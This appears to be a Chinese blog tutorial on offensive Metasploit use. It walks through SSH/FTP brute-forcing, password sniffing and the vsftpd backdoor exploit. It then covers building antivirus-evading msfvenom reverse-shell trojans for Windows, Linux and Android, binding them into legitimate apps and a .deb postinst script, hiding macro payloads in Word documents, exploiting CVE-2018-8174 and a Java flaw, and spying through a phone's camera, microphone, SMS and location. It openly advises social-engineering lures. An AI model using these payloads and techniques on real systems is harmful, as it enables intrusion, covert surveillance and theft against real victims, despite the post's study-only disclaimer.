KaLi学以致用

本文最后更新于:2023年4月2日 晚上

💀KaLi学以致用💀

🛑郑重声明

此文章可能会包含敏感以及危险的命令❗❗❗命令有风险,回车需谨慎。

此文章仅供学习交流与参考使用,禁止运用于任何非法行动或测试中,若有预期之外的后果,将不承担任何责任!!

❌ERHE再次进行警告与提醒!

┌──( root💀KaLi-Erhe )-[ ~ ]
└─# cat 重要的事情说三遍 ❗❗❗

  • ⭕命令有风险,回车需谨慎 ❗

  • ⭕命令有风险,回车需谨慎 ❗

  • ⭕命令有风险,回车需谨慎 ❗

🐱‍👤一、Metasploit高级渗透测试

我们自前学习了主动信息收集和被动信息收集,而且还学习了漏洞检测工具 NESSUS,接下来一起尝试使用Metasploit 来对目标进行信息收集,这个过程包含了前面所有的方式以及多了一些更加极端的获取信息方式,比如获取服务器的硬件信息,系统用户信息、进程信息等。

首先要启动Metasploit有关的数据库和Metasploit程序

1
2
systemctl start postgresql
msfconsole # 或者是 msfdb run

😸基于TCP协议收集主机信息

先试一下nnmap在msf中的使用

1
db_nmap -sV [IP地址]			# 扫描一下··· ···

测试ARP扫描

1
2
3
4
5
6
serch arp_sweep			# 搜索有关ARP扫描的相关模块
use auxiliary/scanner/discovery/arp_sweep
show options # 查看配置信息
set RHOSTS [网段/IP地址] # 指定扫描
set THREADS [数量] # 并发进程数,调15就好了
run

使用半连接方式扫描TCP端口

1
2
3
4
5
6
7
search portscan			# 搜索有关端口扫描的相关模块
use auxiliary/scanner/portscan/syn
show options # 查看配置信息
set RHOSTS [IP地址] # 指定扫描
set PORTS [端口号或者是端口范围] # 指定端口扫描
set THREADS [数量] # 并发进程数,调15就好了
run

使用auxiliary /sniffer下的psnuffle模块进行密码嗅探

1
2
3
4
5
search psnuffle
use auxiliary/sniffer/psnuffle
info # 查看此嗅探模块的详细信息
show options # 查看配置信息
run

这个放在后台然后在别的终端上面输入ftp密码来连接其他机器的ftp服务

1
lftp -u [FTP用户名] [IP地址]

此时再回去另外一个运行psnuffle模块的终端上面即可看到被嗅探的密码

嗅探完以后记得关掉

1
2
jobs
jobs -K # 全部杀掉后台进程

😺基于SNMP协议收集主机信息

简单网络管理协议(SNMP,Simple Network Management Protocol),由一组网络管理的标准组成,包含一个应用层协议(application layer protocol)、数据库模型(database schema)和一组资源对象。该协议能够支持网络管理系统,用以监测连接到网络上的设备是否有任何引起管理上关注的情况。

先配置靶机上的SNMP服务,因为此服务默认不是对外开放的

更改配置:

1
2
3
4
5
vim /etc/default/snmpd			# 改第11行
SNMPDOPTS='-Lsd -Lf /dev/null -u snmp -l -smux -p /var/run/snmpd.pid 127.0.0.1'
改为:
SNMPDOPTS='-Lsd -Lf /dev/null -u snmp -l -smux -p /var/run/snmpd.pid 0.0.0.0'
# 保存并退出

重启SNMP服务

1
2
sudo /etc/init.d/snmpd restarte
netstat -antup | grep 161 # 确认服务监听正常

靶机配置完毕准备开攻

1
2
3
4
5
search snmp_enum
use auxiliary/scanner/snmp/snmp_enum
show options # 查看配置信息
set RHOSTS [IP地址] # 指定扫描
run

这个结果包含很多信息,真香

🐱基于SMB协议收集信息

先扫描SMB版本

1
2
3
4
5
search smb_version
use auxiliary/scanner/smb/smb_version
show options # 查看配置信息
set RHOSTS [IP地址] # 指定扫描
run

扫描SMB的共享文件夹(需要知道SMB的账号密码)

1
2
3
4
5
6
7
search smb_enumshares
use auxiliary/scanner/smb/smb_enumshares
show options # 查看配置信息
set RHOSTS [IP地址] # 指定扫描
set SMBUser [用户名] # 输入目标机的SMB账号
set SMBPass [密码] # 输入目标机的SMB密码
run

扫描系统的用户信息(SID枚举)

1
2
3
4
5
6
7
search smb_lookupsid
use auxiliary/scanner/smb/smb_lookupsid
show options # 查看配置信息
set RHOSTS [IP地址] # 指定扫描
set SMBUser [用户名] # 输入目标机的SMB账号
set SMBPass [密码] # 输入目标机的SMB密码
run

😾基于SSH协议收集信息

收集SSH版本信息

1
2
3
4
5
search ssh_version
use auxiliary/scanner/ssh/ssh_version
show options # 查看配置信息
set RHOSTS [IP地址] # 指定扫描
run

暴力破解SSH密码

1
2
3
4
search ssh_login
use auxiliary/scanner/ssh/ssh_login
show options # 查看配置信息
set RHOSTS [IP地址] # 指定扫描

然后要找到相应的暴破字典,这里的字典文件只供测试

1
2
cd /usr/share/metasploit-framework/data/wordlists
# 下面的root_userpasswd.txt

设置到配置里面

1
2
3
set USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/root_userpasswd.txt
set VERBOSE true # 显示所有的测试过程
run

🙀基于FTP协议收集信息

收集FTP版本信息

1
2
3
4
5
search ftp_version
use auxiliary/scanner/ftp/ftp_version
show options # 查看配置信息
set RHOSTS [IP地址] # 指定扫描
run

关于FTP的这个版本搜索漏洞

1
2
3
4
5
6
search [FTP的版本号或者是vsftpd]
use exploit/unix/ftp/vsftpd_234_backdoor
show options # 查看配置信息
set RHOSTS [IP地址] # 指定扫描
show targets # 查看能被渗透的版本或应用
run

FTP的匿名登录

1
2
3
4
5
search name:anonymous			# 搜索可匿名的服务
use auxiliary/scanner/ftp/anonymous
show options # 查看配置信息
set RHOSTS [IP地址] # 指定扫描
run

FTP的暴力破解

1
2
3
4
5
6
7
search ftp_login
use auxiliary/scanner/ftp/ftp_login
show options # 查看配置信息
set RHOSTS [IP地址] # 指定扫描
set USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/root_userpasswd.txt
set VERBOSE true # 显示所有的测试过程
run

🐱‍👤二、制作windows客户端恶意软件进行渗透

🤔客户端渗透原理
在我们在无法突破对方的网络边界的时候,往往需要使用客户端渗透这种方式对目标发起攻击,比如我们向目标发一个含有后门的程序,或者是一个word文档、pdf文件。想要达到效果同时也要利用好社会工程学,来诱骗受害者执行恶意程序。

😏客户端渗透技巧
通常用户的计算机都安装了安全软件,一般我们生成的恶意程序都会被检测,所以我们所设计的恶意软件可以利用人的劣根性,比如我们将恶意软件或网站伪装成色情软件或网站,这样目标会认为他本身就是不好的软件被安全软件检测是很正常的事情,如果他安耐不住关闭安全防护软件执意要运行恶意程序。那么他就中招了。当然这种取巧的办法并不能解决所有问题,我们需要利用免杀来躲避安全软件的查杀。

👁️制作Windows恶意软件获取Shell

病毒检测网站:https://www.virscan.org.

msfvenom是msfpayload,msfencode的结合体,可利用msfvenom生成木马程序,并在目标机上执行,在本地监听上线。

PS:编码器是什么?
编码器就是一个能够伪装这个程序的东西,可以多次进行编码,好处是防病毒软件更不容易查杀了,坏处是使这个程序文件变的越来越大,可能会导致这个程序不可用。

  • 使用msfvenom生成快播和西瓜影音看片神器后门木马

生成西瓜影音的.exe后门的程序(使用一个编码器)

1
2
3
4
5
6
7
8
9
10
11
msfvenom [参数]		# 这是一个工具
-a x86 # 指定架构
--platform windows # 指定运行程序的平台
-p windows/meterpreter/reverse_tcp # 指定攻击载荷,可以通过-l platforms命令可以查看所有支持的平台
LHOST=[IP地址] # 是你自己的一台想控制别人电脑的MSF主机上的IP地址
LPORT=[端口号] # 是你自己的一台想控制别人电脑的MSF主机的联络端口
-b "\x00" # 去掉坏字符,坏字符会影响程序的正常执行
-e X86/shikata_ga_nai # 指定编码器,防被杀毒软件
-i 10 # 编码的次数
-f exe # 指定生成的文件的格式
-o [地址] # 指定输出生成的程序文件的位置以及文件名

生成西瓜影音的.exe后门的程序(使用两个编码器)

1
2
3
4
5
6
7
8
9
10
11
12
msfvenom [参数]		# 这是一个工具
-a x86 # 指定架构
--platform windows # 指定运行程序的平台
-p windows/meterpreter/reverse_tcp # 指定攻击载荷,可以通过-l platforms命令可以查看所有支持的平台
LHOST=[IP地址] # 是你自己的一台想控制别人电脑的MSF主机上的IP地址
LPORT=[端口号] # 是你自己的一台想控制别人电脑的MSF主机的联络端口
-b "\x00" # 去掉坏字符,坏字符会影响程序的正常执行
-e X86/shikata_ga_nai # 指定编码器,防被杀毒软件
-i 10 # 编码的次数
| msfvenom -a x86 --platform windows -e x86/alpha_upper -i 10 # 第二次的编码器
-f exe # 指定生成的文件的格式
-o [地址] # 指定输出生成的程序文件的位置以及文件名
  • 在自己的MSF主机上启动Handler开始监听程序内指定的后门程序
1
2
3
4
5
6
7
msfdb run		# 进入监听框架
use exploit/multi/handler # 此监听模块
show options # 查看配置
set payload windows/meterpreter/reverse_tcp # 设置payload,也就是攻击载荷
set LHOST [MSF主机上的IP地址]
set LPORT [MSF主机上的端口号]
run # 开始执行监听

等待靶机打开我们刚刚生成的病毒程序

看到MSF主机监听有这样的结果后即获取Shell成功!!

  • 将病毒软程序植入其他软件上面

找到将要绑定的软件包里面的启动程序的文件,例:Windows上面的.exe文件

1
2
3
4
5
6
7
8
9
10
11
12
msfvenom [参数]		# 这是一个工具
-a x86 # 指定架构
--platform windows # 指定运行程序的平台
-p windows/meterpreter/reverse_tcp # 指定攻击载荷,可以通过-l platforms命令可以查看所有支持的平台
LHOST=[IP地址] # 是你自己的一台想控制别人电脑的MSF主机上的IP地址
LPORT=[端口号] # 是你自己的一台想控制别人电脑的MSF主机的联络端口
-b "\x00" # 去掉坏字符,坏字符会影响程序的正常执行
-e X86/shikata_ga_nai # 指定编码器,防被杀毒软件
-i 10 # 编码的次数
-x [被植入的启动文件的所在位置] # 加入其他软件的.exe可执行文件
-f exe # 指定生成的文件的格式
-o [地址] # 指定输出生成的程序文件的位置以及文件名

生成这个被篡改的文件并替换掉原来的这个程序文件即可制作成功。

其他的开启监听端口等等步骤跟上述的过程一样。

  • 使用metasploit的evasion模块生成反杀毒软件的后门木马
1
2
3
4
5
6
7
8
search evasion
use evasion/windows/windows_defender_exe
show options # 查看配置
set FILENAM [生成的文件名]
set payload windows/meterpreter/reverse_tcp # 设置payload,也就是攻击载荷
set LHOST [MSF主机上的IP地址]
set LPORT [MSF主机上的端口号]
run

在自己的MSF主机上启动Handler开始监听程序内指定的后门程序

1
2
3
4
5
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp # 设置payload,也就是攻击载荷
set LHOST [MSF主机上的IP地址]
set LPORT [MSF主机上的端口号]
run # 启动监听

💀控制Windows的Shell后的操作命令

查看Windows当前获得的权限

1
getuid

从管理员用户提升到系统最高权限命令

1
getsystem

PS:在MSF里面,依然可以使用Linux命令来操作Windows

1
2
3
4
5
6
ls		# 查看当前目录下的文件
getbid # 此木马程序的进程ID
ps # 查看目标机所运行的所有进程
sysinfo # 查看系统信息
screenshot # 截图
run vnc # 实时监控目标机的桌面

🐱‍👤三、制作Linux客户端恶意软件进行渗透

  • 使用msfvenom生成Linux可执行文件
1
2
3
4
5
6
7
8
9
10
11
msfvenom [参数]
-a x64 # 指定架构
--platform linux # 指定运行程序的平台
-p linux/x64/meterpreter/reverse_tcp # 指定攻击载荷,可以通过-l platforms命令可以查看所有支持的平台
LHOST=[IP地址] # 是你自己的一台想控制别人电脑的MSF主机上的IP地址
LPORT=[端口号] # 是你自己的一台想控制别人电脑的MSF主机的联络端口
-b "\x00" # 去掉坏字符,坏字符会影响程序的正常执行
-e X86/shikata_ga_nai # 指定编码器,防被杀毒软件
-i 10 # 编码的次数
-f elf # 指定生成的文件的格式
-o [地址] # 指定输出生成的程序文件的位置以及文件名
  • 自己的MSF主机上启动Handler开始监听程序内指定的后门程序

    1
    2
    3
    4
    5
    use exploit/multi/handler
    set linux/x64/meterpreter/reverse_tcp # 设置payload,也就是攻击载荷
    set LHOST [MSF主机上的IP地址]
    set LPORT [MSF主机上的端口号]
    run # 启动监听
  • 退出session要使用quit正常退出session否则会影响下次连接

🐱‍👤四、制作恶意deb软件包来触发后门

下面使用的是freesweep来进行测试实验的

准备软件包

1
2
3
4
5
6
7
apt --download-only install freesweep		# 仅下载不安装
cd /var/cache/apt/archives # 进入安装包统一下载目录
dpkg [参数] deb软件包名 [解压目录]
-i # 安装
-x # 解压
cd [解压目录] # 进入deb软件包的目录
ccd usr/games # 进入软件包的文件目录

此时所在的目录是:/var/cache/apt/archives/free/usr/games

  • 生成病毒后门文件
1
2
3
4
5
6
7
8
9
10
11
msfvenom [参数]
-a x64 # 指定架构
--platform linux # 指定运行程序的平台
-p linux/x64/meterpreter/reverse_tcp # 指定攻击载荷,可以通过-l platforms命令可以查看所有支持的平台
LHOST=[IP地址] # 是你自己的一台想控制别人电脑的MSF主机上的IP地址
LPORT=[端口号] # 是你自己的一台想控制别人电脑的MSF主机的联络端口
-b "\x00" # 去掉坏字符,坏字符会影响程序的正常执行
-i 10 # 编码的次数
-f elf # 指定生成的文件的格式
-o [现在这个目录的绝对路径/文件名]
# 输出位置,例:/var/cache/apt/archives/free/usr/games/freesweep_sources
  • 配置软件包配置
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
cd [解压目录]		# 进入软件包的根目录下
mkdir DEBIAN # 自己创建一个文件夹名
cd DEBIAN # 进入自己创建的目录
vim control # 编辑并创建一个配置文件
==========================================配置信息=============================================
Package: freesweep
Version: 1.0.1-1
Section: Games and Amusement
Priority: optional
Architecture: amd64
Maintainer: Ubuntu MOTu Developers (ubuntu-motu@lists.ubuntu.com)
Description: a text-based minesweeper
Freesweep is an implementation of the popular minesweeper game, where one tries to find all the mines without igniting any, based on hints givene-by the computer. Unlike most implementations of this game, Freesweepworks in any visual text display - in Linux console, in an xterm, and incmost text-based terminals currently in use.
===============================================================================================
vim postinst # 编辑并创建一个配置文件
==========================================配置信息=============================================
#!/bin/bash
sudo chmod 2755 /usr/games/freesweep_sources
sudo /usr/games/freesweep_sources & # 这两个是我们生成的木马文件的目录
===============================================================================================
chmod 755 /var/cache/apt/archives/free/DEBIAN/postinst # 加上可执行权限
  • 打包生成.deb软件包
1
dpkg-deb --build /var/cache/apt/archives/[你解压的目录名]/

这样就制作成功了.deb的恶意软件包

  • 自己的MSF主机上启动Handler开始监听程序内指定的后门程序
1
2
3
4
5
6
msfdb run
use exploit/multi/handler
set linux/x64/meterpreter/reverse_tcp # 设置payload,也就是攻击载荷
set LHOST [MSF主机上的IP地址]
set LPORT [MSF主机上的端口号]
run # 启动监听
  • 当这个软件包被卸载后,只要靶机不关机,这个后门Shell连接还能继续

🐱‍👤五、利用0DAY漏洞CVE-2018-8174获取Shell

0DAY漏洞的意思就是,针对那些软件发布以后还没有超过24H就有破解版出现的软件都可以统称0DAY

⭕注:此CVE-2018-8174漏洞仅适用于IE浏览器内核

  • 安装CVE-2018-8174_EXP漏洞攻击模块

从github 上克隆CVE-2018-8174_EXP,下载命令

1
git clone https://github.com/w16692926717/CVE-2018-8174_EXP.git
  • 生成恶意html文件
1
2
3
4
5
6
cd CVE-2018-8174_EXP/
python CVE-2018-8174.py [参数]
-u http://IP地址/index.html # 这个就是放病毒网页的网址
-i [IP地址] # 是你自己的一台想控制别人电脑的MSF主机上的IP地址
-p [端口号] # 是你自己的一台想控制别人电脑的MSF主机的联络端口
-o hack.rtf # 生成相关的一些文档
  • 在自己的MSF主机上启动Handler开始监听程序内指定的后门程序
1
2
3
4
5
6
7
msfdb run
use exploit/multi/handler # 此监听模块
show options # 查看配置
set payload windows/meterpreter/reverse_tcp # 设置payload,也就是攻击载荷
set LHOST [MSF主机上的IP地址]
set LPORT [MSF主机上的端口号]
run # 开始执行监听

等待靶机用IE内核的浏览器打开我们刚刚生成的病毒网页

🐱‍👤六、利用JAVA环境漏洞获取Shell

⭕注:利用的此漏洞仅适用于特定版本的JAVA环境以及IE浏览器打开

1
2
3
4
5
6
7
8
msfdb run
use exploit/multi/browser/java_jre17_driver_manager
show options # 查看配置
show payload # 查看可使用的payload
set payload java/meterpreter/reverse_tcp # 设置关于JAVA的payload
LHOST=[IP地址] # 是你自己的一台想控制别人电脑的MSF主机上的IP地址
LPORT=[端口号] # 是你自己的一台想控制别人电脑的MSF主机的联络端口
exploit

然后会生成有一个链接,用目标机访问,并且会自动监听

结束控制

1
sessions -K

🐱‍👤七、利用Office文档获取Shell

  • 生成病毒Office文档
1
2
3
4
5
6
7
8
9
msfvenom [参数]		# 这是一个工具
-a x86 # 指定架构
--platform windows # 指定运行程序的平台
-p windows/meterpreter/reverse_tcp # 指定攻击载荷,可以通过-l platforms命令可以查看所有支持的平台
LHOST=[IP地址] # 是你自己的一台想控制别人电脑的MSF主机上的IP地址
LPORT=[端口号] # 是你自己的一台想控制别人电脑的MSF主机的联络端口
-e X86/shikata_ga_nai # 指定编码器,防被杀毒软件
-i 10 # 编码的次数
-f vba-exe # 指定生成的文件的格式

结果就是会生成一堆代码

找到MACRO CODE下的代码,COPY下来

先新建一个word文档==> 找到,宏名写完,宏的位置填写文档1,点击创建,然后把上面代码复制到里面。Ctrl+S保存,⭕注意:保存类型必须是启用宏的Word文档,然后再打开继续编辑

找到PAYLOAD DATA下的代码,COPY下来

粘贴到Word文档中,选中粘贴的这些代码,更改字体颜色跟背景色一样,然后文章前面放上正常内容就好了。

发给靶机打开这个Word里面就行了。

  • 启用监听
1
2
3
4
5
6
msfdb run
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp # 设置payload,也就是攻击载荷
set LHOST [MSF主机上的IP地址]
set LPORT [MSF主机上的端口号]
run # 开始执行监听

🐱‍👤八、安卓客户端渗透

  • 生成木马软件
1
2
3
4
5
msfvenom [参数]LHOST=192.168.1.53 LPORT=4444
-p android/meterpreter/reverse_tcp # 指定攻击载荷,可以通过-l platforms命令可以查看所有支持的平台
LHOST=[IP地址] # 是你自己的一台想控制别人电脑的MSF主机上的IP地址
LPORT=[端口号] # 是你自己的一台想控制别人电脑的MSF主机的联络端口
R > 文件名.apk
  • 启用监听
1
2
3
4
5
6
msfdb run
use exploit/multi/handler
set android/meterpreter/reverse_tcp # 设置payload,也就是攻击载荷
set LHOST [MSF主机上的IP地址]
set LPORT [MSF主机上的端口号]
run # 开始执行监听
  • 在其他软件上嵌入木马文件

要先关闭KaLi系统的IPV6功能

1
2
echo "net.ipv6.conf.eth0.disable_ipv6 = 1" >> /etc/sysctl.conf
sysctl -p

下载要使用的模块

https://github.com/w16692926717/Evil-Droide.git

下载好解压上传至KaLi

1
2
cd Evil-Droid-master/			# 进入这个模块目录
chmod 755 evil-droide # 赋有可执行权限

上传要修改的APP到此模块目录并开始运行此模块

1
2
./evil-droid			# 执行
# 有弹窗一路yes

然后输入:[IP地址]# 是你自己的一台想控制别人电脑的MSF主机上的IP地址[端口号]# 是你自己的一台想控制别人电脑的MSF主机的联络端口和这个恶意APP的名字

设置payload,也就是攻击载荷,选择图示这个

最后选择要修改的APP文件,最后要生成一个KEY,信息随便填就行

  • 报错解决

手动安装一个插件

1
apt install zipalign

如果在安装时有提示,有进程占用或锁定,直接删除这个文件,直到可以安装为止。

安装过程中再由什么弹窗直接回车默认就好,显示下图即是构建完成!!

  • 下一步自动开启监听端口,或者是如下方法监听
1
2
3
4
5
6
msfdb run
use exploit/multi/handler
set android/meterpreter/reverse_tcp # 设置payload,也就是攻击载荷
set LHOST [MSF主机上的IP地址]
set LPORT [MSF主机上的端口号]
run # 开始执行监听

💀控制Android的Shell后的操作命令

stdapi:Webcam Commands

1
2
3
4
webcam_list		# 列出网络摄像头
record_mic['rekord]/记录/ # 从默认麦克风录制音频为×秒webcam_chat开始视频聊天
webcam_snap # 从指定的摄像头获取快照
webcam_stream -i 1 # 从指定的网络摄像头播放视频流[选择后摄像头]

Android Commandse

1
2
3
4
5
6
7
8
9
10
11
12
13
activity_start		# 从URI字符串启动Android活动
check_root # 检查设备是否有根
dump_calllog # 获取调用日志
dump_contacts # 获取联系人列表
dump_sms # 获取短信
geolocate # 利用地理定位获取当前LAT
wlan_geolocate # 利用WLAN信息获取当前LAT
hide_app_icon # 从发射器隐藏应用程序图标
interval_collect # 管理区间收集能力
send_sms # 从目标会话发送短消息
set_audio_mode
sqlite_query # 从存储库查询SQLite数据库
wakelock # 启用/禁用Wakelock

📣特别声明

此文章全部都是依靠自己的学习理解来写的原创文章,难免可能会出现有错误的地方,

如果大家以后阅读的时候发现有问题,那就麻烦到下方评论区来进行错误指出,使错误尽快做出改正,

在此,感谢大家的阅读与支持!🤝💦🎉

🍻支持一下

觉得我写的好的话可以支持一下我哦~持续关注我,会更新其他好玩且实用的项目。

👋如果我能帮助到你,那就请我喝杯🧋呗~👇👇👇


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!